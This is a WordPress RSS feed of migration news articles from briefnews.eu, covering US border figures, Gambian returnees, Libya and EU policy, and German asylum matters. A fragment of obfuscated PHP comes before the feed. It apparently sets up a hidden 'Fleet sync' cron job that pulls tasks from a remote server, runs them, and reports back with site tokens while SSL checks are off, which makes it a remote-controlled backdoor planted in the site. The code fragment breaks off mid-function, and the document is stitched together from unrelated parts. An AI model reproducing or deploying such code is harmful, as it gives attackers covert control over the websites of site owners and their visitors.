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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); migration – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 20 Sep 2022 01:36:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png migration – Brief News https://briefnews.eu 32 32 ‘Failing communist regimes’ in Venezuela, Cuba, and Nicaragua account for new wave of migration, US says https://briefnews.eu/failing-communist-regimes-in-venezuela-cuba-and-nicaragua-account-for-new-wave-of-migration-us-says/ https://briefnews.eu/failing-communist-regimes-in-venezuela-cuba-and-nicaragua-account-for-new-wave-of-migration-us-says/#respond Tue, 20 Sep 2022 01:36:12 +0000 https://briefnews.eu/failing-communist-regimes-in-venezuela-cuba-and-nicaragua-account-for-new-wave-of-migration-us-says/
  • Nearly half of the people who crossed the US border in August came from three countries.
  • "Failing communist regimes in Venezuela, Nicaragua, and Cuba are driving a new wave of migration," a US official said.
  • In total, just under 158,000 people had encounters with southwest border officials in August.

    • Fifty migrants were flown from Texas to Martha's Vineyard, Massachusetts, last week by Florida Gov. Ron DeSantis.

    Many of those who were recently enticed under what they said were false pretenses to participate in what has been criticized by Democrats and immigration advocates as a media stunt by DeSantis originally hailed from Venezuela, according to immigration attorneys, which is part of a trend in migration to the United States.

    Nearly half of all migrants encountered at the southwest US border last month came from three countries with authoritarian governments that have been criticized by Republicans and Democrats alike, according to statistics released Monday by US Customers and Border Protection.

    "Failing communist regimes in Venezuela, Nicaragua, and Cuba are driving a new wave of migration across the Western Hemisphere, including the recent increase in encounters at the southwest US border," CBP Commissioner Chris Magnus said in a statement.

    More than 55,000 people from the three, ostensibly socialist regimes were encountered at the southwest border in August, per CBP. That compares to just under 57,000 people from Mexico and other nations in Central America, such as El Salvador and Honduras.

    Overall, more than 203,000 people had encounters with border officials in the southwest last month, a 1.7% increase from July.

    Many of those who crossed the border had previously attempted to do so but were expelled in the previous 12 months under Title 42, the Trump-era public health order that closed the border at the start of the pandemic. The Biden administration has attempted to overturn the emergency regulation but has been stymied by legal challenges from Texas and other Republican-led states.

    "Totally unprecedented," Aaron Reichlin-Melnick, policy director at the American Immigration Council, said in a post on Twitter responding to the news. The fact that nearly half of all migrants encountered were from Nicaragua and South America, he said, represented a "staggering change."

    In recent years, Venezuelans have formed the largest group of people seeking asylum in the United States, a response to economic mismanagement and US sanctions against the country's anti-democratic government.

    Nicaragua used to account for only a small number of migrants to the US, despite being the second poorest country in the Western Hemisphere. But the country has grown increasingly repressive under President Daniel Ortega, who violently cracked down on mass anti-austerity protests in 2018, killing more than 300 people.

    Under the Trump administration, the US and Nicaraguan governments signed an agreement to expedite the deportation of Nicaraguan nationals. According to US Immigration and Customs Enforcement, that agreement remains in place, despite US sanctions following the country's sham 2021 election.

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    ]]>     https://briefnews.eu/failing-communist-regimes-in-venezuela-cuba-and-nicaragua-account-for-new-wave-of-migration-us-says/feed/ 0     Migration Nearly Killed This Radio Star. And He's Warning Gambians https://briefnews.eu/migration-nearly-killed-this-radio-star-and-hes-warning-gambians/ https://briefnews.eu/migration-nearly-killed-this-radio-star-and-hes-warning-gambians/#respond Wed, 02 Jan 2019 10:44:29 +0000 http://briefnews.eu/migration-nearly-killed-this-radio-star-and-hes-warning-gambians/ It’s 11am at 100.4 Capital FM, self-described as “Gambia’s most powerful FM radio station.” Alieu, a regular caller, is on the line again to have his usual debate with host Mustapha Sallah about why men in their 20s like himself have no future in Gambia. There’s no way Alieu is staying; he’s saved for months to leave by any means necessary. “No matter how hard it is for you here, it’s better than what you’d experience on your journey,” argues Sallah, regarding the unconventional, and illegal route Alieu intends to take to reach Europe. The reality, Sallah warns Alieu, is that he’ll become a slave or lose his life.

    Sallah speaks from experience. Following his own harrowing trip, he’s one of thousands of Gambians who have been flown back from Libya as part of the European Union-funded returns and reintegration program run by the United Nations.

    Some people were burned alive. If you tried to escape, they would shoot you.

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    The returns form part of vigorous European efforts to curb irregular migration — efforts to enter another country without using conventional or legal pathways — particularly by Italy, which pays the Libyan coast guard to keep smuggler-operated boats out of Italian seas and in Libya. The policies have received serious criticism, and Amnesty International says that the EU and Italy are complicit in the abuse occurring in Libya, where terrorists and militias roam, and two competing governments have failed to unite the country.

    Better to nip the migration in the bud, Sallah says, which the 27-year-old is trying to do as co-founder of Youths Against Irregular Migration (YAIM). His 30-minute “YAIM Time” call-in radio show is but one aspect of his group, which also backs skills training initiatives and other work on the ground in the most desperate corners of the country.

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    Around 0.5 percent of Gambia’s 2 million population leaves each year, according to UNICEF. The country is trying to climb back from the debts piled up by recently exiled dictator Yahya Jammeh; the World Bank reports that remittances now make up around 21 percent of the Gambian economy. A lack of legal pathways means that many people take “the back way,” as Sallah calls it, to leave.

    While the number of migrants using the central Mediterranean route is declining, 679,897 remained trapped in Libya as of June, according to the United Nations’ International Organization for Migration. The experience can be terrifying. There are numerous reports out of Libya of beatings, torture, sexual abuse and inhumane living conditions in detention centers.

    Sallah himself withstood such beatings and was even enslaved. He recalls coming under attack by Libyan soldiers in January 2017, when his room in the Tripoli suburbs was raided. “Some people were burned alive. If you tried to escape, they would shoot you,” he says.

    Sallah embarked on his return journey in May 2016. Growing up in a poor family in the coastal town of Serekunda, Sallah had worked hard at school so that his mother, a market vendor, could retire. After winning a scholarship to study computer science in Taiwan, he borrowed money from his sister and traveled to the nearest embassy, in Nigeria, only to have his visa application refused.

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    Fearing discrimination in Gambia for coming back empty-handed, Sallah reasoned that there was only one country between him and Libya from which he could reach Europe. “Except that country, Niger, was bigger than half of West Africa,” he recalls, “It takes four or five days to cross the deserts of Niger. If you lose your way, it can take you weeks, even months. You can die there.”

    No one had warned Sallah of the horrors he would encounter in his attempts to reach Europe, and that lack of cautionary tales is why he agreed when fellow Gambian Karamo Keita, whom he met in detention, suggested they set up YAIM so that they could warn others. “We registered 171 young Gambians inside the prison itself,” Sallah says. But that number dwindled to 30 as many became disenchanted back in Gambia when the support promised by the U.N. and EU never materialized.

    Sallah’s natural leadership leads many to address him as “Bai,” a sign of respect. Articulate and well-informed, he speaks with intensity and candor. The shootings, enslavement, beatings and torture he has witnessed give him unwavering focus and bitterness, but also compassion. His may be a case of all work and no play: Any spare moment he gets, Sallah says, he’ll sit down with a book by his favorite spiritual leader, Baye Niass.

    In addition to hosting the radio show, Sallah and Keita, 35, travel the country for YAIM’s Summer Caravan program, spreading the word to young people about the dangers of migrating. “We both promised ourselves that we’d take this seriously, and we’re full time without being paid,” Keita says. “It’s not easy.” For income, Sallah uses his IT skills and tries to pick up work here and there, while Keita sometimes sells mobile phones at the market.

    Testimonials suggest they’re doing something right. Women who would have sponsored their children to make the journey concede they’ll never send them now. One told Sallah: “I believe what you’ve narrated because my son suffered the same fate.” Sallah said he and Keita convinced them to support their children at home instead.

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    But fixing the migration problem requires more than warning people about the dangers. Gambians need jobs and opportunities at home. A lack of funding for workshops and other programming is holding YAIM back, says Nelson Aigbe, director of the Grace Foundation, which helps train returnees. YAIM’s message is spreading, but meaningful change can only happen if the youth have something to stay for.

    Celita Suares, director of U.K.-based Red Entertainment, an artist management company that has initiated an anti-slavery campaign, is helping sponsor YAIM with approximately $ 300 a year per student for four students in job-training courses, plus another $ 300 for transportation and materials. She says more structure and process may open more doors. “There might be places they go with the Summer Caravan that’s last minute,” Suares says. “We can’t work on last minute. Sometimes I have to say no.”

    Sallah believes help should also come from European governments. “They’re spending a lot of money and giving it to Libyans to keep Africans out of Europe,” he says. “They should give it to associations like us that are convincing them not to leave in the first place.”

    It took months of interaction, but Alieu, the regular “YAIM Time” caller, ended up siding with Sallah. Instead of spending his savings to attempt a potentially deadly trip, he’s investing it in his market stall.

    OZY’s 5 Questions With Mustapha Sallah

    1. What’s the last book you read? Ruhul Adab (The Teachings of Baye Niass)
    2. What do you worry about? I worry that if the youth of Gambia all leave, who will look after the country.
    3. What’s the one thing you can’t live without? Family and friends.
    4. Who’s your hero? Baye Niass. He was a Senegalese scholar. His knowledge did not come from school or from travels; he learned everything he knew from his father.
    5. What’s one item on your bucket list? I want to see the whole world and see how they live there, see how we connect with each other to make the world a better place.

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    ]]>     https://briefnews.eu/migration-nearly-killed-this-radio-star-and-hes-warning-gambians/feed/ 0     US pledges $10.6bn in aid to Mexico & Central America to stop migration – still no cash for Wall https://briefnews.eu/us-pledges-10-6bn-in-aid-to-mexico-central-america-to-stop-migration-still-no-cash-for-wall/ https://briefnews.eu/us-pledges-10-6bn-in-aid-to-mexico-central-america-to-stop-migration-still-no-cash-for-wall/#respond Wed, 19 Dec 2018 01:26:03 +0000 http://briefnews.eu/us-pledges-10-6bn-in-aid-to-mexico-central-america-to-stop-migration-still-no-cash-for-wall/

    The State Department has announced $ 10.6 billion in aid for Mexico, Honduras, Guatemala and El Salvador to help stem migration, amid a looming government shutdown over funding President Donald Trump’s border wall proposal.

    Some $ 5.8 billion in economic development assistance will be given to the three Central American countries, and another $ 4.8 billion to Mexico, for the sake of “enhancing security, governance, and economic prosperity that can create greater opportunities and benefits for the people of the region” and help “jointly address the shared challenges of migration, narcotics trafficking, and the activities of trans-national criminal organizations,” the State Department said in Tuesday’s announcement.

    “I think this is good news, very good news for Mexico,” said Mexican Foreign Relations Secretary Marcelo Ebrard, according to AP. He added that the “commitments established here signify more than doubling foreign investment in southern Mexico starting in 2019.”

    Ebrard had previously sought $ 25 billion in US investments in the region, according to AP.




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    The investments are aimed at creating better political and economic conditions in the impoverished southern Mexico and the so-called “Northern Triangle” countries. The vast majority of migrants in the so-called “caravans” arriving on the US border in recent months have originated in El Salvador and Honduras, attracting more members as they passed through Guatemala and Mexico.

    “I have a dream that I want to see become a reality … that nobody will want to go work in the United States anymore,” Andres Manuel Lopez Obrador, the recently inaugurated president of Mexico, said earlier on Tuesday.

    The announcement comes amid a tense standoff between President Trump and Democrats in Congress, who have vowed to block any attempts to fund the proposed wall on the border with Mexico to the tune of $ 5 billion. Though Trump has said he would be willing to shut down the government in order to get the funding for the wall, his own press secretary contradicted that message.

    There are “other ways” to get the $ 5 billion, Sarah Huckabee Sanders told Fox News on Tuesday morning, adding that “at the end of the day, we don’t want to shut down the government, we want to shut down the border.”

    Trump’s critics have pointed out that his campaign promise was not just to build the wall, but to make the southern neighbor pay for it. Mexico has outright refused to even contemplate such a possibility.

    Washington reportedly sought a pledge from Mexico to enforce its immigration laws and stop Central American migrants from getting to the US border. A planned announcement about Mexico’s migration policy has been postponed for Wednesday, however.

    According to one human rights activist, however, the announced aid actually offers far less than the State Department statement indicates.

    “It’s nearly all private-sector loans and guarantees. Money that has to be paid back—not assistance,” tweeted Adam Isacson of the Washington Office on Latin America (WOLA). “The rest is aid that the US was giving anyway.”

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    ]]>     https://briefnews.eu/us-pledges-10-6bn-in-aid-to-mexico-central-america-to-stop-migration-still-no-cash-for-wall/feed/ 0     Dramatic photos show far-right activists getting pelted with a water cannon during a migration protest in Brussels https://briefnews.eu/dramatic-photos-show-far-right-activists-getting-pelted-with-a-water-cannon-during-a-migration-protest-in-brussels/ https://briefnews.eu/dramatic-photos-show-far-right-activists-getting-pelted-with-a-water-cannon-during-a-migration-protest-in-brussels/#respond Mon, 17 Dec 2018 01:20:04 +0000 http://briefnews.eu/dramatic-photos-show-far-right-activists-getting-pelted-with-a-water-cannon-during-a-migration-protest-in-brussels/ brussels.JPGReuters

    • Protesters have clashed with police in Brussels while demonstrating against a UN migration pact.
    • The United Nations signed the first ever international deal on the migration crisis, despite opposition from the US.
    • The “March against Marrakech” pledged to turn a “political crisis into the awakening of our people.”

    Police in the Belgium capital were forced to use water cannons and tear gas on activists protesting against a UN migration pact signed on Monday.

    Reuters said the protesters were far-right sympathizers who had descended on the European Commission headquarters in Brussels as part of the “March against Marrakech” demonstration.

    The United Nations signed the first ever international deal on the migration crisis in the Moroccan city earlier this week. It promised a global approach to better managing migration, despite vociferous opposition from the US, which said last year that it interferes with American sovereignty.

    March against Marrakech’s Facebook page said 12,000 planned to attend the demonstration. “We can’t just stand by and watch, we need to show the will of the majority,” it said. “Let’s turn this political crisis into the awakening of our people.”

    But the protests appeared to spill over into violence as demonstrators clashed with police. Scroll on for some of the most dramatic photos from the protest in Brussels:

    Thousands of protesters gathered in Brussels, including Filip Dewinter (center), a leading figure in Vlaams Belang, a right-wing Flemish nationalist party.

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    But the protests soon began to turn ugly. Here demonstrators are trying to topple an EU flag outside the European Commission headquarters.

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    Mounted police attempted to control the crowds.

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    ]]>     https://briefnews.eu/dramatic-photos-show-far-right-activists-getting-pelted-with-a-water-cannon-during-a-migration-protest-in-brussels/feed/ 0     Melania Trump’s immigration lawyer tears into Trump’s ‘unconscionable’ attacks on so-called ‘chain migration’ https://briefnews.eu/melania-trumps-immigration-lawyer-tears-into-trumps-unconscionable-attacks-on-so-called-chain-migration/ https://briefnews.eu/melania-trumps-immigration-lawyer-tears-into-trumps-unconscionable-attacks-on-so-called-chain-migration/#respond Sat, 11 Aug 2018 22:12:22 +0000 http://briefnews.eu/melania-trumps-immigration-lawyer-tears-into-trumps-unconscionable-attacks-on-so-called-chain-migration/ amalija viktor knavs melania trump parentsAssociated Press/Seth Wenig

    • The immigration lawyer who represented first lady Melania Trump and her parents told CNN on Friday that President Donald Trump’s attacks on “chain migration” are “unconscionable.”
    • Michael Wildes confirmed that the first lady sponsored her parents for green cards in a process known as family reunification, which critics have assailed as “chain migration.”
    • Wildes said the process is actually “a beautiful bedrock of immigration law” that inspires Americans to  do more for their country, knowing that their loved ones can join them.

    First lady Melania Trump’s immigration lawyer lambasted President Donald Trump on Friday for his attacks on so-called “chain migration,” a derisive term used to describe the same process that his wife used to help her parents immigrate to the United States.

    The first lady’s parents, Amalija and Viktor Knavs, were sworn in as American citizens on Thursday after years residing in the country on green cards. The family’s lawyer, Michael Wildes, confirmed to media that Melania Trump had originally sponsored them through a process called family reunification.

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    ]]>     https://briefnews.eu/melania-trumps-immigration-lawyer-tears-into-trumps-unconscionable-attacks-on-so-called-chain-migration/feed/ 0     Libya, migrants & karma: Europe's new migration policy wrecks on North African reality https://briefnews.eu/libya-migrants-karma-europes-new-migration-policy-wrecks-on-north-african-reality/ https://briefnews.eu/libya-migrants-karma-europes-new-migration-policy-wrecks-on-north-african-reality/#respond Sun, 22 Jul 2018 22:37:54 +0000 http://briefnews.eu/libya-migrants-karma-europes-new-migration-policy-wrecks-on-north-african-reality/ The EU’s new plan to create refugee camps in North Africa is unlikely to ever work, as it’s never considered the situation on the ground – something that Europe helped create when it intervened in Libya, experts warn.

    Years of unending migrant influx have apparently stretched both the capacity and hospitality of some European nations to the limit. While the new Italian Euroskeptic government has outright refused to take in any new arrivals, arguing that it has too many already, the Swedish government struggles with a crime wave that followed a mass influx of migrants.

    German Chancellor Angela Merkel, who was once one of the most adamant champions of the ‘open borders’ policy, has had a tough time facing pressure both at home and at the EU level. As Europeans bicker over the fair share of migrants, a new major threat looms on the horizon.

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    In April, the head of the UN World Food Program, David Beasley, warned that Europe might soon face a new massive wave of migration from the Sahel, the potentially unstable African region lying south of the Sahara Desert. “My comment to the Europeans is that if you think you had a problem resulting from a nation of 20 million people like Syria because of destabilization and conflict resulting in migration, wait until the greater Sahel region of 500 million people is further destabilized. And this is where the European community and international community have got to wake up,” he said.

    As tensions over the migration policy inside the EU continue to escalate, the bloc has been attempting to stay afloat by literally shipping the problem abroad. However, its plan to establish migrant processing centers in the North African countries has run into a brick wall, which Europeans built themselves with their invasion of Libya back in 2011.

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    When Europeans hastily drafted a new plan to deal with the migration issue to alleviate the tensions within the EU, they never bothered to consult the North African nations, Marianna Belenkaya, an analyst and a columnist at the Russian Kommersant business daily, told RT. All Europe’s potential partners turned out to effectively be against any deals involving the creation of migrant centers on their territory. 

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    Most recently, Fayez al-Sarraj, the head of the UN-backed Libyan unity government (GNA) in Tripoli, told the German Bild daily that Libya will never take back asylum seekers rejected in the EU, nor will it agree to build refugee centers on its soil, even if such a deal would involve financial assistance from Europe.

    Other North African nations, such as Tunisia and Morocco, were also reluctant to agree to Europe’s proposals, according to Belenkaya. Such an outcome was unfortunate for Europe, which actually expected that “an incentive of European investments” would be enough to win the North African governments’ support, she added.

    The Europeans expected Libya to become the cornerstone of its new migration policy, as “any Libyan government under the current circumstances [was expected] to be dependent on the European financial aid and political support,” Grigory Lukyanov, a Middle East analyst and senior lecturer at the Russian Higher School of Economics told RT.

    However, “the Libyan government officials understood that, in its present form, this deal would equal to solving European problems at the expense of the Libyan interests,” he said, explaining that Europe has, in fact, little to offer Libya in exchange for tackling “what Europe itself sees as a threat but Libya does not perceive as a problem.”

    Country of jobs turned migrant limbo

    In recent years, the Libyan territory has become a major route used by migrants fleeing conflicts, poverty and persecution in Africa to reach Europe. However, this was not always the case – particularly not when the late Colonel Muammar Gaddafi ruled the country. Under Gaddafi, who was branded a ruthless dictator by the West and eventually killed by the Western-backed ‘rebels,’ Libya experienced significant economic growth. Back then, it was not a transit country but a desired destination for many Africans seeking a better life.

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    A historic building, that was ruined during a three-year conflict, is seen in Benghazi, Libya February 28, 2018. © Esam Omran Al-Fetori

    The booming Libyan oil economy “experienced a constantly growing labor demand, which its own population could not fill,” Lukyanov said. As a result, the North African state welcomed a large number of migrants not only from Africa but also from Europe and even China. The country, which, according to the UN, had a “high human development rank,” was capable of not only providing the new arrivals with jobs but also offered them “decent living standards.”

    African migrants did not travel further to Europe from Libya “not because they were somehow forbidden [to do that] but because they could effectively find a job and better live there,” Lukyanov said. However, everything changed in 2011 when Libya fell into chaos after the toppling and murder of Gaddafi amid the foreign intervention in the civil war, in which anti-government rebels were actively supported by many European nations, the US and NATO.

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    The reckless Western invasion, disguised as help to the “freedom fighters,” has left the North African state in shambles. Warlords and clan-based militias have seized upon the opportunities in both human trafficking and oil smuggling created in the post-Gaddafi chaos.

    For years, the country was also unable to overcome a period of diarchy that emerged from the vacuum of power left by the toppling of the Gaddafi government. In 2014, Libya was divided between the UN-backed government in Tobruk and a Tripoli-based government formed by Islamists. One could now hardly call it a simple coincidence that the number of migrants and refugees coming to Europe through the Libyan territory drastically increased at that time, with the refugee crisis reaching its highest point a year later.

    In 2016, the Government of National Accord (GNA) was formed to unify the country but it eventually failed to do that as a new center of power emerged in Tobruk. With political process stalled and local warlords and tribal militias determining the daily lives of people with little regard to the central authority, any idea of establishing migration centers in Libyan territory seems unviable.

    “All attempts to restart the political process and hold elections as well as to put an end to the resumed hostilities in many parts of the country have been futile so far. Under such circumstances, it makes no sense to reach any agreements with just one center of power,” Lukyanov believes.

    He further explained that creation of a “buffer zone” hosting migrant processing centers in the Libyan coastal area in the current situation would be absolutely impossible. “This region hosts the most populated areas with many settlements and ports, which are constantly contested by various warring parties. Any refugee centers here would immediately become a part of a trade-off or a conflict between the armed groups,” the analyst said.

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    Unlikely as it is to be brought to life in the current situation, Europe’s current plan to deal with migrants with the help of North Africa might also be flawed in its essence, Belenkaya warns.

    Europe hopes it “could separate real refugees from those, who just seek a better life, in these centers, thus discouraging the latter from embarking on these perilous journeys in the first place,” she said. However, “the people will still come and the situation in such camps would only get worse.”

    A potential solution to the European migration crisis might lie in trying to undo what the Europeans did to Libya years ago. The EU has to effectively embrace the legacy of Colonel Gaddafi if it wants to stem the influx of migrants from Africa, experts believe.

    “Only a functioning state and a healthy economy in Libya would … create conditions for at least part of the [migrants] to stay there instead of moving further to Europe,” Lukyanov argued.

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    ]]>     https://briefnews.eu/libya-migrants-karma-europes-new-migration-policy-wrecks-on-north-african-reality/feed/ 0     Germany’s migration chief is sacked amid an asylum agency fraud scandal – but is the problem solved? https://briefnews.eu/germanys-migration-chief-is-sacked-amid-an-asylum-agency-fraud-scandal-but-is-the-problem-solved/ https://briefnews.eu/germanys-migration-chief-is-sacked-amid-an-asylum-agency-fraud-scandal-but-is-the-problem-solved/#respond Sun, 17 Jun 2018 04:59:36 +0000 http://briefnews.eu/germanys-migration-chief-is-sacked-amid-an-asylum-agency-fraud-scandal-but-is-the-problem-solved/ The ousted head of Germany’s refugee agency was central to an unfolding asylum application fraud scandal, but firing her won’t fix core “structural problems” in the country’s migration system, a geopolitical analyst has told RT.

    After serving just 18 months as head of the Federal Office for Migration and Refugees (BAMF), Jutta Cordt was fired this week by Interior Minister Horst Seehofer, after an internal review discovered that the agency’s branch in the city of Bremen had violated legal and internal regulations for the approval of asylum applications. The decision was quietly announced on Friday, and Rainer Rothfuss, a geopolitical analyst and professor at Tübingen University’s Institute of Geography in Baden-Württemberg, feels the sacking was long overdue.

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    “It is quite late now that Horst Seehofer tries to find the responsible or the culpable person at the top of the BAMF organization,” Rothfuss said. “He should have broken up the coalition already in 2015 to protest against Angela Merkel for breaking the German laws and letting migrants flow into our country.”

    In April, it was revealed that a former BAMF official at the Bremen office was under investigation on suspicion of taking bribes from at least 1,200 asylum seekers, starting in 2013. Other officials at the agency were also probed for possibly having taken part in the scheme. They include an interpreter and three lawyers. After reviewing some 1,371 asylum cases from 2013 to 2017, an internal audit allegedly found the Bremen branch responsible for violating the law in 142 instances, Der Spiegel reported. In 54 percent of the Bremen decisions there had been no admissible request. In about 40 percent of cases, the identity of the asylum seekers was not clarified, the report said. 

    In the wake of the scandal, BAMF launched additional probes at other locations. Meanwhile, the scandal only deepened the problem with the country’s asylum system and has threatened Angela’s Merkel fragile ruling coalition, which barely formed a government in March, after the right-wing Alternative for Germany (AfD) cruised into the Bundestag in last year’s national elections. With some 50,000 applications backlogged, many in Germany wonder how the refugee crisis will be sorted.

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    “Just changing the head of the office does not solve the problem. The problem is of a structural nature. It is just the sheer number of asylum applications which overwhelm those structures,” Rothfuss explained to RT. “It is not the right decision now by Horst Seehofer just to exchange Jutta Cordt again and put a new person in charge because the basic problem remains the same.”

    More than a million migrants –from predominantly Muslim countries– have entered Germany since the refugee crisis erupted in 2015, fueling strong anti-migrant sentiments and protests against Merkel’s open-door policy. A number of terrorist attacks involving refugees followed, as well the notorious sexual harassment incidents during the 2015 New Year’s Eve celebrations in Cologne and other cities.

    Some 62 percent of Germans polled by Infratest dimap are in favor of turning back undocumented migrants at the border. The poll, released on Friday, also showed that some 86 percent want faster deportations of rejected asylum applicants.

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    ]]>     https://briefnews.eu/germanys-migration-chief-is-sacked-amid-an-asylum-agency-fraud-scandal-but-is-the-problem-solved/feed/ 0     Migration & radical European Muslims stir up antisemitism in Germany – parliament chief https://briefnews.eu/migration-radical-european-muslims-stir-up-antisemitism-in-germany-parliament-chief/ https://briefnews.eu/migration-radical-european-muslims-stir-up-antisemitism-in-germany-parliament-chief/#respond Sun, 01 Apr 2018 02:43:19 +0000 http://briefnews.eu/migration-radical-european-muslims-stir-up-antisemitism-in-germany-parliament-chief/ Radical Muslim communities and immigrants harboring extremist views of Israel are contributing to the rise of anti-Semitism on German soil, speaker of the Bundestag Wolfgang Schaeuble warned in a candid interview.

    Wolfgang Schaeuble, a German political heavyweight who previously served as the country’s finance minister, argued that combatting anti-Semitism is “a stress test” for Western societies, especially in times when immigration from Muslim-majority countries continues to grip Europe.

    While anti-Semitism is “not a specific Muslim problem,” it is still getting stronger “due to migration and the hatred against Israel that is fueled by radical forces in the Islamic world,” he told the Funke media group, as cited by Die Welt newspaper.

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    Charlotte Knobloch, former president of the Central Council of Jews in Germany believes normal Jewish life is not possible without police protection. © Arnd Wiegmann

    Schaeuble, who now chairs the Bundestag, reiterated that some European Muslims are disseminating “an irrational hatred of Jews, also fueled by anti-Zionism,” with the phenomenon spreading in France “but also in Germany.” “Liberal societies,” he posited, must tackle the problem despite “this huge migration.” Defeating hatred of Jews would become “a great stress test for Western democracies” because many in Muslim communities have “strong commitment to anti-Semitism.”

    The Bundestag president was speaking just days after Horst Seehofer, a newly-appointed Interior Minister, claimed Islam does not belong in Germany and promised to introduce a fast-track deportation scheme for failed asylum applicants from Muslim states. “We can’t stop the gait of history,” Schaeuble said, adding that “everyone had to deal with the fact that Islam has become part of our country.”

    Muslims, for their part, would have to understand “that they live in a country that is not shaped by Islamic traditions,” he stated. But the rest of the population “must accept that there is a growing proportion of Muslims in Germany.”

    Schaeuble’s remarks were a partial echo of what Charlotte Knobloch, former head of the Central Council of Jews in Germany and current President of the Jewish Community of Munich and Upper Bavaria, said in January. She said that attacks on Jews have become “commonplace” in Germany, while anti-Semitism “has grown on the right and the left, in the Muslim community and also in the heart of German society.”

    Schaeuble is not the first politician to voice concern over the issue. Stephan Harbarth, the deputy chairman of ruling CDU / CSU parliamentary group, said that ahead of the Holocaust Memorial Day on January 27, Berlin will “resolutely oppose the anti-Semitism of migrants of Arab descent and those from African countries.”

    Also, Chancellor Angela Merkel’s Christian Democrats (CDU) have reportedly drafted a policy document, which seeks the deportation of immigrants rejecting Jewish life in Germany or questioning Israel’s right to exist. A “complete acceptance of the Jewish life” is a “criterion for successful integration,”the document, seen by Die Welt, apparently reads.

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    The ‘bloodbath’ scene outside the Tel Aviv office of the Population, Immigration, and Border Authority (PIBA) included notes scattered on the floor, also stained with red paint. The notes warned that the action was “just the beginning” and the planned deportation of thousands of Eritrean and Sudanese asylum seekers “will not come to pass quietly,” Israeli media reports.

    Only massacre awaits the African asylum seekers at home, the notes read. “Their blood in on your hands.”

    Without addressing the concerns, the Israeli immigration body went into a fury as it branded the stunt “an act that has no resemblance to a legitimate or acceptable [form of protest],” and accused the activists behind it of inciting violence.

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    “Today, a red line was crossed and this is where it stops,” PIBA stressed. Police are probing the incident as an act of vandalism.

    Earlier this month, the Israeli government approved an amendment allowing indefinite imprisonment for an estimated 38,000 illegal African migrants, mostly from Eritrea and Sudan, if they refuse to leave the country voluntarily by March. The bulk of the asylum seekers entered Israel between 2006 and 2012, before border officials stemmed the flow from the war-ravaged countries by erecting a fence on the border with Egypt in 2013.

    The previous scheme, in place since May 2015, saw migrants who agreed to leave voluntarily receive a $ 3,500 handout and a free plane ticket. While this option remains available even after the amendment takes effect, the compensation will be much smaller, Israeli Prime Minister Benjamin Netanyahu announced.

    Jewish human rights groups, including Holocaust survivors, have been up in arms about the plan. In a letter to Netanyahu, leaders of North American Jewish organizations noted that elsewhere in the world the majority of Sudanese and Eritrean asylum seekers, fleeing hardship and war, enjoy protection, while in Israel asylum is granted to less than 1 percent of all applicants.

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    South Sudanese disembark from a plane from Israel that arrived at the airport in Juba June 18, 2012. © Adriane Ohanesian

    The Israeli government, meanwhile, insists that thousands of undocumented African migrants pose a grave risk to security and safety. Netanyahu, who is a staunch proponent of the hardline immigration policies of the US administration and, in particular, the construction of a border wall along the US-Mexican border, boasted in January about expelling around 20,000 migrants.  “Now the mission is to get the rest,” he said.

    The Prime Minister indicated deals will be struck with “third countries” to which the rejected asylum seekers will be expelled. While Rwanda used to strike such deals with Israel in the past, it this week denied a deal had already been signed.

     Although it is currently unclear where the migrants will be sent, a number of pilots for Israel’s flag carrier El Al have announced on social media they will not “fly refugees to their deaths.” Over 12,000 people have signed a petition calling on pilots and staff at Ben Gurion Airport to block such flights from taking off.

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    ]]>     https://briefnews.eu/doll-heads-covered-in-red-paint-left-at-israeli-migration-office-in-anti-deportation-stunt-video/feed/ 0     Migration in the Age of WhatsApp https://briefnews.eu/migration-in-the-age-of-whatsapp/ https://briefnews.eu/migration-in-the-age-of-whatsapp/#respond Tue, 12 Dec 2017 07:42:56 +0000 http://briefnews.eu/migration-in-the-age-of-whatsapp/ When Abel’s boat reached the shores of Lampedusa, Italy’s southernmost island, the 17-year-old Eritrean had only one thing in mind. And it was not finding shelter or food — it was getting a smartphone.

    He managed to borrow a phone from a local woman and place a WhatsApp call to his brother in Paris. In just a few minutes, they had organized a way for Abel’s brother to send him money to buy his own mobile phone. The young refugee’s face lit up with a huge smile as he hung up. “All is good now,” he said. “He knows I’m OK.”

    Migration is one of humanity’s oldest traditions, and the reasons behind it have changed little over time — whether it is fleeing from danger or looking for greener pastures. Yet communication technology has evolved so radically in the last couple decades that platforms like WhatsApp, Facebook and Viber are now guiding the journeys of almost every migrant on the planet.

    As a refugee, your sense of certainty has been shattered. Having access to information empowers you to make your own choices again

    Lucy Carrigan, International Rescue Committee, Lesbos, Greece

    Smartphones provide migrants with all the tools they need to ensure a safe journey. Besides the fundamental Google Maps service, they provide up-to-date news, security alerts and even comic relief in the form of YouTube videos. Yet these same platforms are also being used to lure migrants into all kinds of traps — from modern slavery to incarceration.

